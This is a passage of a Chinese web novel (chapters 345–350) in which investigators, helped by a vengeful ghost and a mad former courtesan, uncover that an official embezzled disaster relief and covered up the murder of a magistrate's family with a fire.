何立骅听后果然急了,“不可能!由我爹监督修建的水渠,谁敢偷工减料?” 徐菀随即接口道:“是真是假,我们去看看不就知道了。” 何立骅一愣,随后不自觉望向自己的夫人。宋玉卿向他微微点头。 何立骅迫使自己冷静下来,也点了点头,“好。” 马车又往前驶了一段,便抵达了当年何钦修建的水渠处。 几人下了马车步行走到水渠旁,但见下方的水渠如一条蜿蜒巨龙,横亘于广袤的荒原之上。 但其中的一段早已坍塌,裸露出其中的石块与三合土。又因年久失修,如今整条水渠已干涸废弃,成了一堆废物。 慕怀瑾在水渠旁蹲下,抓起一块水渠内掉下的部分,仔细观察了一番,道: “此渠主体由石块和竹木加泥土夯成。外层的防渗层则由三合土修砌而成。三合土由石灰、砂和土按照一定比例和成,各地比例不同。 甘州位处西北干旱之地,石灰的比例应占一半以上。但从此地的废墟来看,明显砂土更多,石灰少。” 曲县令见有人开了头,胆子也大了起来,开口道:“大人分析的极是。正是因防渗层中石灰比例太少,防渗水效果差,这水渠的寿命才如此之短。 下官来嘉礼县上任后,还差人修了一次这水渠,但没过半年另一处又塌了。有工匠发现了防渗层中的问题,告知下官后,下官才决定放弃修复。 这条水渠自那时起便荒废了下来,周边的水井也就跟着干涸了。” 徐菀问:“防渗层中的石灰为何会少?难道当年兴修的时候工匠没发现吗?” 慕怀瑾意有所指道:“石灰的价格远高于砂土,怕是有人偷工减料了。将采买石灰的银子省下来,可是极大一笔银子。” 徐菀立马接上,与慕怀瑾一唱一和,“这么说是有人偷工减料、以次充好,私吞了朝廷拨下的赈灾款?但有何钦大人坐镇,谁敢这么做?” 此话一出,所有人瞬间静了下来。 确实如此,有何钦坐镇,无人敢行此事。那么只有何钦本人有本事这么做了。 大家的目光皆聚焦在了何立骅身上。 何立骅的眉宇已皱成了“川”字,心中焦灼不已。 良久,他才气息一缓道:“这水渠确实有问题。但还不能确定当年是谁行了偷工减料之事,必须找到当年修砌工程的工匠才能得知。” 慕徐二人互换了个眼神,心中暗想何立骅果然还是不想承认。 也罢,往后越来越多的证据摆在眼前,看他还如何自欺欺人。 于是,慕怀瑾站起身,拍了拍手上与衣袍上的灰,轻叹一声道:“也好。我们先去赤炎山看看。回去后再查查当年的工匠。” 话毕,几人再次回到马车上,继续向赤炎山进发,没过多久便抵达赤炎山脚下。 众人下车后,由曲县令带着,慢慢向山上走去。 “各位大人,我们现下在赤炎山的北面。此处种植的多是榆树、枸杞、苜蓿等耐旱植被,通常来说不易起火。 但据当年的卷宗记载,那山火却是从北面烧起来的,而后随东南风蔓延至了嘉礼县城,才导致全县的大火。” 曲县令一面介绍着,众人一面向山上走。沿途看到的确实都是榆树、枸杞等植物。 且虽然已过了十多年,层层落叶之下,还能发现当年山火后被烧得焦黑的木炭,为此后的植物生长提供了丰富的养料。 “东南风?”徐菀敏锐地察觉到了不对,“甘州位处西北,九月气候转凉,应刮西北风或东北风了吧。” “呃...这...”曲县令眼珠子一转,瞥了一眼何立骅,小心翼翼道:“许是九月初,西北风还敌不过东南风吧...” 就在此时,一直未开口的宋玉卿,在仔细琢磨了半晌后,忽然出声道:“会不会...这火并不是由赤炎山烧到嘉礼县,而是由嘉礼县烧到赤炎山北面的?” 第345章 345.夜半鬼事 “会不会...这火并不是由赤炎山烧到嘉礼县,而是由嘉礼县烧到赤炎山北面的?” 众人皆是一愣,“???” “什么意思?”何立骅一脸惊愕地望着宋玉卿,“夫人你为何会这样想?” “不是说当年嘉礼县的县民全都死在那场大火中了吗?也就是说没有活人亲历了那场灾难。那么那些编撰卷宗的人,又怎能确定火是从赤炎山烧过来的?” 宋玉卿的这番话,顿时令几人茅塞顿开,连徐菀都未从此角度想过。 宋玉卿继续有理有据地分析,“稍微读过一些书的人皆知,甘州九月已入秋,自然是吹西北风或东北风。 并且赤炎山北面的植被皆是不易起火的植物。所以火是从嘉礼县随风烧到赤炎山,此解释才合理。你说呢夫君?” 何立骅霎时愣在原地,他们的儿子何宏彦在宋玉卿怀中亦跟着叫道:“是啊爹,娘说的没错。娘让我看的《盛国地域志》里就是如此写的。” 是啊,连七岁的小儿都从《盛国地域志》中知晓,卷宗中记录的那场山火有问题。 何立骅又怎能睁着眼否认? 想罢,何立骅伸手摸了摸儿子的发顶,勉强笑了笑,“彦儿说的不错,确实有那种可能。” 慕怀瑾冷静地接口道:“如此说来,那火的确有可能是从嘉礼县烧起来的,就不能排除那火是由人为而生。” 何立骅的心此时也乱了,额上也出了一层薄汗,头脑懵懵的,只想尽快离开此地,找个清净之地自己一个人好好想想。 遂,他轻叹一声疲惫道:“既然如此,我们回县城再查查,看能否找到印证这猜测的证据。” 慕徐二人也觉得今日调查得差不多了,发现的疑点够何立骅琢磨一阵了,于是点头与他们一同下山返回嘉礼县城。 回到县城已是傍晚时分。 曲县令依然被软禁在县令府,何慕等人则回到客栈歇息。 连着两日都未好好休息,慕怀瑾与何立骅用完晚膳后,便各自回房打算睡个好觉。 可当何立骅进入梦乡后,他的房外却起了些诡异之事。 夜深了。 嘉礼县昼夜温差大。午时还略显炎热,夜里却凉意似水。 一轮下弦月高挂长空,照亮广阔苍凉的大地,与萧索寂寥的城池。 而在这城池之中,无数股阴晦之气,在到处乱窜。 其中一股极强的阴气,穿过城内的街道与小巷,一路向着慕何等人所住的客栈而去。 到了客栈,那股阴气径直向着二楼何立骅一家三口所住的客房飞去。 只见立在客房外守夜的李侍从,忽然整个人剧烈一抖,再抬起头时,双眼已染上了浓浓的杀意。 随后,李侍从转身推开何立骅的房门,拔出腰间长剑,一步步向熟睡的一家三口走去。 行至床边,李侍从瞪向何立骅的眼神愈加阴冷,随即举起剑毫不犹豫向床榻上的何立骅刺去。 就在剑尖即将刺向他的喉咙时,但闻“噹”的一声脆响,一道符纸倏然飞了过来,将李侍从的剑尖打偏。 那把剑嗤地刺在了何立骅与宋玉卿中间的枕头上,将他们一家三口蓦地惊醒。 宋玉卿登时大叫一声,护着何宏彦往床角缩去。何立骅则迅速翻身,一骨碌从床榻上跌了下去。 “什么人!” 房门被人一脚踢开,慕怀瑾与徐菀出现在了何立骅的门口。 借着从屋外照进的月光,何立骅豁然看清,刺杀他们的人竟是李侍从。 “李磊你是怎么了?为何要杀我?”何立骅慌忙爬起身,躲在了慕怀瑾身边。 李侍从阴沉着脸,眼中尽是憎恨,“你身上有何钦那个十恶不赦之徒的气味,你定是他的血脉。我要杀了你,为我全家报仇!” “为全家报仇?李磊你在说什么!”何立骅慌乱又懵圈。 而且李侍从不止神色眼神变了,连声音都变了,好似完全换了一个人。 徐菀则早已看出,李侍从是被鬼上身了。但那鬼魂似乎与何钦有仇,留他在此或许还有意想不到的作用。 李侍从对何立骅的问题恍若未闻,直接提起剑再次向何立骅杀了过来。 慕怀瑾即刻举剑迎上去与李侍从对打,徐莞则趁机奔至床边,去解救宋玉卿母子。 可宋玉卿将将抱着何宏彦挪到床边,李侍从便转身向宋玉卿刺了过来。 就在这千钧一发之时,一阵熟悉的灰黑色烟雾,从门外倏然飞了进来,如一条蜿蜒蟒蛇,又似一条轻盈的飘带,紧紧缠住李侍从的剑。 再突然一用力,便将长剑从李侍从手中拔了出去,当啷一声掉在地上。 与此同时,一道熟悉的低沉嗓音在房中响起,“关兄弟手下留情!” 声音竟是从那阵灰黑色烟雾中传出的! 何立骅等人瞪大了眼望着那股烟雾,只见它嗖地钻入李侍从的胸口。 顷刻间,李侍从仿佛被一道雷电击中,整个人猛地抖动片刻,便脱力倒在了椅子里。 从他的身体里竟飘出一个暗蓝色半透明的影子。那影子是个男子模样,大约二十来岁。 而那阵灰黑色的烟雾也慢慢汇聚成人形,正是从京城回到嘉礼县的汪焕清! “汪进士!”徐莞唤道。 “汪某见过侯爷,夫人!” 汪进士的突然出现,令暗蓝色的鬼魂霎时一愣,“汪兄,你为何阻拦我?你和他们认识?” 汪焕清急忙解释道:“关兄,这两位就是我与你们说过的,帮我报仇雪恨的慕侯爷和夫人。你们是不是有什么误会?” 姓关的鬼魂再次瞪向何立骅,“误会?我绝不会误会。他就是害我全家的何钦的儿子!” “杀害你全家?”徐莞敏锐捕捉到这句话,“你认识关戎吗?” 听到这个名字,关兄弟蓦地一震,“戎儿?你怎么会知道?” 慕徐二人相视一眼,随后向关兄弟道:“关戎的魂魄就在那位小公子的肉身中。而我们此次前来嘉礼县,就是为了查清当年事情的真相。 若不是何钦大人干的,就将他请出小公子的肉身,帮他找到凶手,报仇雪恨,助他转世投胎。” 第346章 346.叔侄重逢 “你们会这么好心?”关兄弟听后将信将疑,“除非你让戎儿出来见我。我要听他亲口对我说。” 汪焕清从旁劝道:“侯爷和夫人不会骗你的。魏志鸿就是他们帮忙找到证据,将其绳之以法的。” 关兄弟听到魏志鸿的名字,神情明显一紧,再转头望向慕徐二人时,眼中的质疑与警惕明显少了一些。 “戎儿真在那个孩子身上?我想见见戎儿。” 徐莞当即开口,“好,我将关戎请出来,你自己跟他说。” 话毕,徐莞的目光落在何家孙子的身上,何立骅与宋玉卿还有些担忧。 徐莞向他们摇摇头安抚道:“你们别担心,关戎的魂魄只请出来一小会儿,不会对宏彦有什么影响。” 宋玉卿虽被吓得惊魂未定,但还是稍稍放松了手。 徐菀咬破手指,在左手掌中画出一道符,随后将手掌放在何宏彦的额头,再默念咒语。 何宏彦闭上双眼,片刻后再睁开眼时,眼中忽的闪过一道蓝光。紧接着便从宋玉卿的怀中挣扎了出来。 “小叔叔!” 但见顶着何宏彦肉身的关戎,下地后便激动地向关兄弟的魂魄奔去,可却径直从他半透明的魂魄中穿了过去。 关兄弟迅疾转过身,难以置信,“你是…戎儿?” “何宏彦”抬着小小的脸庞望着他,眼中闪烁着星星点点的泪光,与当初的关戎如出一辙,“我是戎儿…小叔叔,我终于找到你了……” 关兄弟蹲下身,将“何宏彦”从上到下仔仔细细查看一遍,眼中露出无比激动欣喜的泪光,“你真的是戎儿……戎儿啊……” 他想抱抱戎儿,但仅凭一个没有肉身的魂魄,根本无法做到这一点。 就在这时,倒在椅子里的李侍从忽然开口,“你上我的身吧。” 这出乎意料的提议,令关兄弟一怔,转身望向李侍从时,从他的眼中看到的的确是一片,赤诚的善意。 “谢谢…”关兄弟说着,魂魄已飞入了李侍从的肉身里。 而后,“李侍从”蓦地一抖,再次睁开眼时已变成了关兄弟的眼神。 只见他猛地站起身,将关戎紧紧搂进怀里,关戎也牢牢地抱着他的叔叔。 叔侄二人时隔十多年,以他人的肉身再次相见,激动之情溢于言表。 周围的几人望着这一幕,皆心生动容。 “他唤他小叔叔,难道方才的魂魄就是他先前所说的叔叔?”何立骅问。 “没错。”徐莞沉声道,“所以这个鬼魂才会借李侍从的身杀你。因为你是何钦大人的子嗣,身上有他的气息,他才能如此准确地找到你。” 少倾,关戎与他的叔叔情绪渐渐平复下来,互相松开后,叔叔向他问道:“戎儿,你为何会出现在此处?还上了何家人的身?” “此事说来话长,让他们几人一起为你讲吧...” 之后的半个时辰,何立骅等人,将这几年关戎附在何宏彦身上所发生之事,一一讲给关叔叔。 讲完后,关叔恍然大悟。关戎又急急地问:“小叔叔,你又为何会在这里?爹娘和我弟弟妹妹呢?他们也还在县里吗?” 关叔的神情落寞地摇摇头,“自我死后因怨气太重,魂魄一直流连在此地未能投胎。但我却一直未找到你爹娘和家人的魂魄。” “为何会这样!他们去投胎了吗?”关戎急切问。 “不会。”坐在桌案边的徐菀忽然开口,“那年嘉礼县死于大火中的人,死后皆是枉死的魂魄。若无人替他们超度,地府都不会收他们。因而那些魂魄至今还都在此地流连不去。 而关戎之所以能在死后,突然附在了远在京城的何家人身上,应是因是有人用你爹娘和家人的魂魄,施了一种禁咒,耗尽了他们的魂魄之力,才将你送了出去。” “什么!你的意思是,爹娘和弟妹为了救我,牺牲了他们自己?那他们还能回来吗?还能投胎吗?” 徐菀缓缓摇摇头,眉眼中多了几分惋惜。 泪水,刹那间从关戎的眼底淌出,接着猛然转过身再次投入关叔的怀抱,呜咽道:“叔叔,我爹娘他们...他们为何那么傻...” 关叔轻拍着关戎的背,亦心痛万分,“戎儿节哀。我想你爹娘和弟妹举他们的魂魄之力,让你附在何钦的孙子身上,就是为了让你替他们报仇。 而今,我们正有个绝佳的机会,杀了何钦的儿子和孙子,替我们关家全家,和全嘉礼县的县民报仇!” 话至此处,关叔凶狠的眼神再次向何立骅瞪了过去,吓得他蓦地一抖,差点从椅子上摔下去。 关戎立刻拉住关叔,“叔叔等等!先别动手!” 关叔回首,愤恨又不可置信地望向关戎,“你想为他们求情?戎儿,难道你这几年在何家,忘了他们是我们的仇人了?” “不是的叔叔!戎儿从未忘记!”关戎激动道:“只是何钦的儿子和儿媳,与他不一样。 我之所以能重回嘉礼县,正是因为他们愿意查清当年大火的真相,才带着我回来的。还有那位侯爷和道长姐姐,都愿意帮我们。” “怎么可能!”关叔根本不信,“他是何钦的儿子,怎会主动去查自己老爹?就算他们查出真相找到证据,他会将证据上交治何钦的罪吗?” “我会!”一道决绝之声蓦然响起,“若当年之事真是我爹做的,我何立骅发誓,定会将证据上呈圣上,将我爹依律惩处!” 何立骅的话音落下,窗外的夜空中恰好划过一道闪电,将他的面容照亮,随后便是一阵雷声,由远及近隆隆传来。 一屋子的人与鬼,目光皆齐齐盯在他的脸上,不由得被他面上那说一不二的神情感染。 闪电雷鸣过后,关叔第一个开了口,“你所言可真?” 何立骅依然坚定道:“我何立骅决不食言。若是食言,你们随时可取了我的性命。” 关叔一拍桌子道:“好!我就信你一次。” “既然如此,请你将自己所知道的一切都告诉我们。为何如此肯定那场大火与何钦大人有关?”慕怀瑾紧盯他问。 第347章 347.一切都连起来了 关叔终于放松在桌边坐了下来,将当年自己所知之事,向他们娓娓道来。 “那日我带着戎儿上街游玩,正要回府时忽听有县民大喊说,县令府着火了。我心内一急,拉着戎儿便往回跑。 来到关府门外,我见里面已是一片火海,便让戎儿等在外面,自己一人冒死冲进火场去救人。 冲进府内却发现,我们关家九口人,皆已被刀剑所杀,惨死在了府中。唯有我大哥,也就是戎儿的爹,还有一口气。 我连忙过去查看,大哥只对我说了一句话,便饮恨黄泉。 他说,是何钦派我们的表兄魏志鸿,带人来做的这一切,皆是因他发现了何钦的一个秘密。” “魏志鸿?是你表兄?”何立骅与慕怀瑾等人皆是一震。 因此前魏志鸿与娄贲泄露科举试题,调换试卷一案影响极大,何立骅也有所耳闻。 但没成想魏志鸿与当年的嘉礼县县令还有这层关系。 “没错,他是我们的表兄。不知怎的与何钦搭上了关系。听说那年他去参加了科举。在我们全县大火之后,他便考上了探花,还迎娶了大官的女儿。” 一旁的汪焕清听到此处,捏紧了拳头道:“原来何钦就是魏志鸿背后的靠山。帮他将我和他的试卷调换,还默许他害了我性命,皆是因魏志鸿帮了何钦这个大忙。” 关叔一愣,“原来你也是被魏志鸿跟何钦害死的。” “你们是什么意思?”何立骅与宋玉卿不解地望向他们。 慕徐二人便将肖胜铭大人此前向他们说的事,告诉了他们二人。 “你们的意思是,娄贲是被我爹指使,才帮魏志鸿调换试卷?” 慕怀瑾点头,“嗯。根据这位兄弟所说,何钦大人应该知晓魏志鸿与县令关家的关系,因而才会派他前去与关县令协调。 协调不成,魏志鸿便带人将关县令一家杀害,又在关府放火想伪装成失火的模样。没成想那火越烧越大,引燃了整个嘉礼县,才酿成了当年的惨剧。 而这一切,都是因关县令知晓了何钦的一个秘密开始。” 慕怀瑾的这番话,令何立骅夫妇霎时愣在了那里。 “这…这些都是你猜测的。真相不一定是这样……” “这些不是猜测,而是有理有据的推断。”慕怀瑾不容置疑道: “今日我们去赤炎山看到的情景你忘了吗?那火分明是从县城烧到赤炎山北坡的,这是七岁孩童都知道的事。 方才关兄弟说的那些事,在我看来他已亡命多年,也没必要骗我们。所以你如今还不愿相信吗?” 慕怀瑾铿锵有力的话语,和直指人心的目光,将何立骅看得心中慌乱不已。 作为人子,他自然不愿相信自己亲爹会做出如此丧尽天良之事。 但诸多疑点摆在眼前,他若是再置若罔闻,只会令人觉得他在睁着眼睛说瞎话,毫无信誉可言。 就在此时,一旁的宋玉卿缓缓握住他放在桌上,紧握成拳的手,语声微颤着开了口: “夫君,我明白你的顾虑。但我还记得,你初当上左通政的时候,意气风发地告诉我,定要为官清正廉洁,为臣民的冤屈发声。 如今我们既然查到嘉礼县的大火中有蹊跷,那些死于大火中的县民如此之冤,你如何能不帮他们? 更何况,你还在宏彦面前立下了誓。若是你是非不分、颠倒黑白,你让宏彦如何看你?还如何能成为宏彦和何家的表率?” 何立骅听罢心头一震,是啊,为了救自己的孩儿,他必须信守承诺,查清事实真相。 而查清的第一步,就是必须先接受,自己爹爹何钦或许真的犯下大错的事实。 思及此,何立骅咽下一口气,慢慢反手握住宋玉卿的手,抬眼向她微微点头。 自己夫人总是能在此种是非对错的紧要关头,用轻柔又不失坚定的方式提醒他,令他看清前路,恍然大悟。 随后,他抬起头望向慕怀瑾等人,“好...若是能找到证据,证明是我爹指使的魏志鸿,我何立骅定当大义灭亲。 关键问题是,那个关于我爹的秘密,到底是什么?” 慕怀瑾思忖片刻后,道:“根据那个坍塌的水渠来看,是有人为了私吞朝廷拨的赈灾款而偷工减料。 而当一间屋里发现一只蟑螂时,在看不见的暗处,已经有无数只蟑螂了。 坍塌的水渠只是冰山一角。在更多我们难以窥见之处,定有更多赈灾款被挪走。” “侯爷的意思是,我爹有可能贪污了赈灾款,被关县令知晓后,就要杀掉他们灭口?” “不排除有这个可能。”慕怀瑾冷静道。 何立骅蓦地想起了何府中,被他压在杂物下十多年的那封来自甘州的检举信。他不由得愈加挫败忧心。 若真是如此,那么他爹犯下的,就是死罪! 这时,汪焕清站出来说:“关兄弟,请相信慕侯爷和夫人。他们一定会为我们讨回公道。” 徐莞接口道:“对。我答应过汪进士,待一切事毕,就会回到嘉礼县帮此地聚集的冤魂超度。 如今看来,要将嘉礼县大火的真凶绳之以法,才能平息他们心中的冤屈与怨气。我才能做法超度,帮他们投胎转世。” 关叔看了看慕徐二人,又望了何立骅一家一眼,末了气息一缓,“好罢,你们这几日先在此地调查。调查的差不多后,我会再来与你们商议。 姓何的,我与死在嘉礼县大火的几百位县民兄弟一起,皆无时无刻不在盯着你们,你们休想耍花招。” 说罢,关叔又将视线转向关戎,蹲下身不舍地望着他的眉眼,“戎儿,你就暂且留在他们身边。过两日叔叔再来看你。” 关戎乖巧地点头,目送关叔从李侍从身上下来,化为一道半透明的影子,与汪焕清一起飞出了窗外。 关戎也顺势隐去,将肉身再次还给何宏彦。 慕徐二人离开何立骅一家的客房后,何立骅就再也没有睡着,一直辗转反侧直到天明。 第348章 348.发疯的老妇 次日一早,客栈中的几人皆早早起身,准备再去县衙查阅一下卷宗,看看能否找到证据。 可此次四人又翻了半日,将有关十四年前的卷宗来来回回看了数遍,都未再发现新的线索。 无奈,几人只好从县衙出来,准备找家食肆吃个午饭,再去找曲县令问问。 四人出了县衙,没成想将将走上主街,便有一疯疯癫癫的老妇,突然大叫一声,径直朝何立骅扑了过来。 李侍从走在何立骅身侧,见此迅速上前拦住了那老妇。 “何人在此发疯!莫要靠近我们大人!” 何立骅与宋玉卿被吓得一哆嗦,连忙抱着何宏彦往后退了几步。 但见那蓬头垢面、衣衫破旧的老妇,怀中抱着一个脏兮兮的襁褓,黑得已辨不出本来颜色。 她被李侍从拦着,却依然瞪大双眼死死盯着何立骅,还死命伸着手想往前抓,同时口中大喊着,“将军是我啊!我是柳荫!我就知道您不会丢下我们母女的!” 何立骅厌恶道:“快将这疯婆子赶走!休要吓到宏彦。” 李侍从领命,转过身对那老妇的态度愈加强硬,渐渐引来街上许多百姓围观。 推搡之下,老妇一个不留神摔倒在地,顺势坐在地上大哭大喊,“将军啊!你将奴家忘了吗?我是柳荫啊! 十四年前您来嘉礼县醉红楼时,专门翻了我的牌子让我陪您一夜。您难道将我忘了吗何将军!” “什么?何将军?十四年前?” 何立骅猛然反应过来,眼前这个疯女人所喊的何将军,难道指的是他爹何钦? 何立骅当即绕过李侍从来到那老妇身前,揪起她的衣襟将她拉了起来,“你是什么人?你说的何将军是不是叫何钦?” 老妇以为他想起了自己,面露狂喜之色,拼命点头,“是啊何将军,您终于想起奴家了! 您离开后一个多月,奴家就发现自己有喜了。我不顾一切将您的孩子生了下来,如今她已五个月有余。您快看看,她长得像不像您?” 老妇说着,将怀中抱着的襁褓向何立骅递了过去,稍稍拉开被角,何立骅凑上去一看,里面竟是一个破烂又诡异的布娃娃。 “啊!!!”何立骅惊得大叫一声向后倒去,幸得慕怀瑾立在他身后,扶了他一把。 “夫君怎么了?她怀里是何物?”宋玉卿走上前来,慕怀瑾即刻退到徐莞身边,与她拉开距离。 何立骅向她摆摆手,示意她别过来,而后拉着她远离那个老妇,“她是个疯子,里面根本没有孩子。” 四周围观的县民们望见这一幕,纷纷议论起来。 “你们是外乡来的吧。这个女人已疯了好多年了,整日抱着个布娃娃说是她女儿,口中还一直嘟囔着什么何将军。” “听说啊,她十几年前是醉红楼的花魁,怀上了一个前来赈灾的大官的孩子。大官走后没多久,嘉礼县就遭了大火。 这个女人当时恰好被接去她外县的弟弟家养胎,逃过一劫。但孩子出生后没几个月却病死了。 自那之后她就疯了,她弟弟也将她赶了出来。她就自己回到了嘉礼县,等着什么何将军来接她。” “我看呐,那些都是她自己编的。怎会有朝廷大官会让她这种女人怀上自己的孩子?” “看你说的,她本就是个疯子,疯子的话能信吗?” 那老妇将周围人的话听在耳里,突然向他们激动吼道:“我没骗人!我说的都是真的!我怀的就是何将军的孩子。他还给了我这个戒指做信物!” 老妇一面喊着,一面伸手从衣襟里掏出了一枚翠绿色的戒指,举在手中向围观群众大吼,“你们看啊!这就是何将军送给我的!他说这个戒指是他们家祖传的。等时机一到就接我们母女去京城!” 何立骅的目光不由得被那枚戒指吸引,定睛一看,随后霎时一震。 何立骅:“!!!”居然…居然真的是父亲的那枚戒指! “这戒指是从哪来的!你为何会有这戒指!”何立骅猛然向那老妇冲去,紧紧握住她拿着戒指的手,怒目圆瞪,满眼的难以置信。 老妇似乎也被他突如其来的举动吓到,惊恐地望着他,一个劲想往后躲。 “我不是说了吗,这是何将军给我的!你这疯子滚开!休想抢我的戒指!” 慕徐等人见何立骅情况不对,连忙上前拉住他,“何大人你怎么了?是不是认识这枚戒指?” “夫君你冷静!那枚戒指怎么了?”宋玉卿亦扑上前劝道。 何立骅被拉开后喘着粗气,双眼仍旧紧紧盯着那老妇。那老妇却已将戒指小心翼翼地藏入怀中。 “那戒指…看着像我爹特别钟爱的一枚戒指。听他说是祖父留给他的。在我小的时候经常见他戴在手上。 但自从十几年前他从甘州回来后,就再没见他戴过了。今日…今日居然在这个疯婆子身上见到了……” 徐莞立即意识到这位老妇或许真与何钦有什么关系,于是即刻提议道:“何大人,我们要不带她去个人少的地方,再细细询问。” 何立骅很快反应过来,“好…说的对。李磊,将她带上,我们走!” 遂,在嘉礼县城主街,众目睽睽之下,何立骅几人将那名老妇“请”回了他们所住的客栈。 一路上,那名老妇皆在扯着嗓子尖嚎。但因她无家可归,县民们又都知道她是个疯子,因而也无人去阻拦。 顶着一路的异样目光,几人终于回到客栈。 李侍从将那位老妇领到何立骅的房间,房门嗙的关闭,何立骅夫妇与慕徐二人,皆立在房中,四道目光齐齐投在她身上。 老妇紧紧按着怀里的襁褓,同时捂住衣襟里那枚戒指,一脸惊恐警惕地望着他们四人。 徐菀见此,缓步向老妇靠近,语声温和道:“这位姑娘莫怕。我们不是坏人。你看那位大人,是不是像何将军?他是何将军的弟弟。就是何将军让我们来接你的。” 第349章 349.不可告人的秘密 这位老妇的思想还停留在十几年前,她女儿死后不久。 因此徐菀便也顺着她的想法,叫她姑娘,将何立骅介绍成何钦的弟弟。如此才不会刺激到她。 循着徐菀所指,老妇小心翼翼地向何立骅望去,小声道:“他确实像何将军,而且比何将军年轻。你真是何将军的弟弟?” 为了从这老妇嘴里问出东西,何立骅只好配合他们演戏。 “嗯。”他勉强点了点头,应了一声。 老妇紧蹙的眉宇即刻舒展开,眼眸似乎都亮了,“真是何将军让你来接我们的?太好了!我们何时启程?何时能见到何将军?” “何将军如今在边关抗击外敌,很快便会凯旋而归。他嘱咐我们将你先接到京城,待他回京后便将你接进何府。” 慕怀瑾眼睛都不眨一下,便编出这一串词,引得屋内几人皆略略惊讶地侧头望向他,心中暗想,真不愧是从商之人,编词跟顺口溜似的。 老妇听后果然更加欢喜,紧接着,慕怀瑾却话锋一转,向老妇要求道: “不过,何将军说了,他那时给了你一枚他家传的戒指。为了验证你的身份,我等须将那戒指验验,是真是假。” “要验我的戒指?”老妇面上多了一丝警惕。 “对,”徐菀接口道:“你放心,何将军的弟弟在此,我们不会抢你的戒指的。只是需要你将那戒指交给何将军的弟弟看一看,确认是那一枚,便还给你。” 老妇又小心地望了何立骅几眼,才渐渐放松下来,慢慢从衣襟中将那枚戒指拿了出来。 何立骅旋即伸手将那枚戒指夺过,捏在指尖仔仔细细地查看。 “对...这就是我爹的那枚云暖玉戒。我还记得上面的这条裂缝,是我十五岁那年他教我武艺,一拳打在石板上敲出来的。” 宋玉卿也低头看了片刻,道:“我也记得刚与你成亲那年,见爹戴过这枚戒指。爹从甘州回来后,就没再见他戴过了。” “难道...这个女人说的是真的?她真的见过我爹?” 何立骅缓缓抬起头望向那名老妇,不想相信却又不得不信。 老妇听见他们所说,得意洋洋道:“都跟你们说了这是何将军送我的,还能有假? 何将军当时说了,他在甘州赈灾有功,皇上赐了他几十万两银子做奖赏,回京还要为他升官。等他回京后便将我接过去,让我继续侍奉他。” “几十万两?当年皇上给你爹的赏赐有那么多吗?”徐菀问。 何立骅回想了片刻后道:“应该没有。一万两应是有的,但不可能几十万两。” “何将军还对你说什么了?”慕怀瑾觉得此中有异,趁机追问。 老妇抚了抚自己乱糟糟的头发,仰着下巴美滋滋说:“他还说啊,皇上和太后特别信任他,拨了一百万两银子给他赈灾。 但是赈灾根本花不了那么多,他上上下下才花了不到五十万两,剩下的银子,都归他所有了……” 说到最后,老妇的声音压得很低,一副神秘兮兮的模样,却又压不住兴奋,说着说着捂嘴笑了出来。 而何立骅等人,却听得目瞪口呆。 “她在说什么?她的意思是…何大人私吞了赈灾款?”徐莞惊诧道。 何立骅突然发疯一般扑向那名老妇,揪着她的衣袖疯狂摇晃: “你知道自己在说什么!私吞赈灾款可是死罪!死罪啊!你这疯子休要污蔑我爹!” 宋玉卿与慕怀瑾忙上前拉他,李侍从也将老妇带到了一旁。 “何大人冷静,这个人说的不一定是真的。” “夫君你别这样!我们可以慢慢调查,一定可以找出真相!” 几人将他们拉开后,何立骅渐渐冷静下来,微喘着气道: “侯爷,劳烦你们先将那个疯婆子带出去,我想一个人静静。玉卿,你也先带孩子去别的房间歇歇。给我一些时间好好想想。” “好。”慕怀瑾未再多说,让徐莞将那名老妇带了出去,自己与李侍从也跟着出了房间,又开了一间房,将那老妇安置了下来。 宋玉卿则带着何宏彦,一同去了慕徐二人的房间。 在房中,宋玉卿抱着受惊的儿子坐在椅子里安慰,却也藏不住自己眉间的忧虑。 “若那个老妇所说都是真的,那么关县令得知的秘密,难道就是何大人私吞赈灾款?”徐莞推测道。 “若是这样一切便都能解释通了。”慕怀瑾分析道:“何大人借赈灾之由,无论是兴建工事还是给百姓发的救济粮,皆以次充好,自己则私吞了大部分赈灾款,导致水渠质量堪忧。 此事被当时的关县令发现。何大人怕关县令将此事上报朝廷,便派他们的表兄魏志鸿前去劝说收买关县令。 但正直的关县令不受他们的收买,魏志鸿便受命将关县令全家杀害,又放了一把火,想将关府烧毁毁尸灭迹。 没成想,那火却烧到了关府之外,一点点引燃了嘉礼县的其他房屋,直至将嘉礼县变成一片火海,甚至将赤炎山北坡的植被都烧去大半。” 徐莞接口道:“而事后,何钦却派人将此事写成是山火引起了嘉礼县大火,掩盖了事实真相。 魏志鸿因帮何钦干了这件脏事,便加入了何钦的麾下。回京城后,何钦便找娄贲帮他调换试卷,助他成为探花。还让娄贲将女儿嫁给魏志鸿,让三人的联结更为紧密。” 原来如此,这一切皆是由何钦私吞赈灾款而起。 何钦虽未直接动手,但之后牵扯出的一系列事件,令数百人命丧黄泉。 如此丧尽天良的何钦,他能有后代已是祖上积德了。 若是再继续让他逍遥法外下去,何家的小孙子,甚至是何立骅,都将替何钦承担报应。 徐莞的话音落下,与慕怀瑾相视一眼,二人眼中皆是参透真相的震惊与愤怒。 而一旁的宋玉卿,却并未露出他们想象中的抗拒与否认。 只见她轻叹一声,面上尽是愧疚、纠结与无奈。 第350章 350.杀人灭口 只见宋玉卿轻叹一声,面上尽是愧疚、纠结与无奈。 “其实昨日发现那水渠和赤炎山不对劲儿时,我就已猜到了大概。相信我夫君他也猜到了,只是他一时间无法接受自己的父亲犯下如此大错而已。” 徐莞心头一震,“夫人真是如此认为的?那你觉得何大人他,会将对何钦大人不利的证据交出去吗?” 宋玉卿低头望了一眼怀里的孩子,面露疼惜不忍之色。 “人在做天在看。我公公犯下如此大错,天道轮回总有一日会报应在他或者他的子嗣身上。如今宏彦不就是个例子吗? 若是我们再如此执迷不悟下去,或许立骅和我,甚至整个何家都要遭到报应。 立骅应该也明白这一点。所以我相信他定会秉公处理,甚至大义灭亲。” 最后“大义灭亲”四个字,宋玉卿说的斩钉截铁,令徐莞与慕怀瑾微微一震,皆暗暗松了口气。 看来何家还有救。 慕怀瑾不由得赞道:“夫人深明大义。何家的列祖列宗,定会感念你的德行,保佑令公子的。” 宋玉卿略略调整一番表情,抬眼换上轻松的语气道:“侯爷、夫人你们放心,我们不会让你们为难的。 若是我夫君不愿将证据交出,我会好好劝他。还有府中的祖母,也是位十分深明大义的老夫人,定会为了何家的荣耀,做最正确的选择。” 徐莞望着这位看似柔弱,却心智成熟刚强的女子,动容道:“何家有你们,真是家门之幸。夫人放心,我一定尽己所能保宏彦康健平安地活下去。” 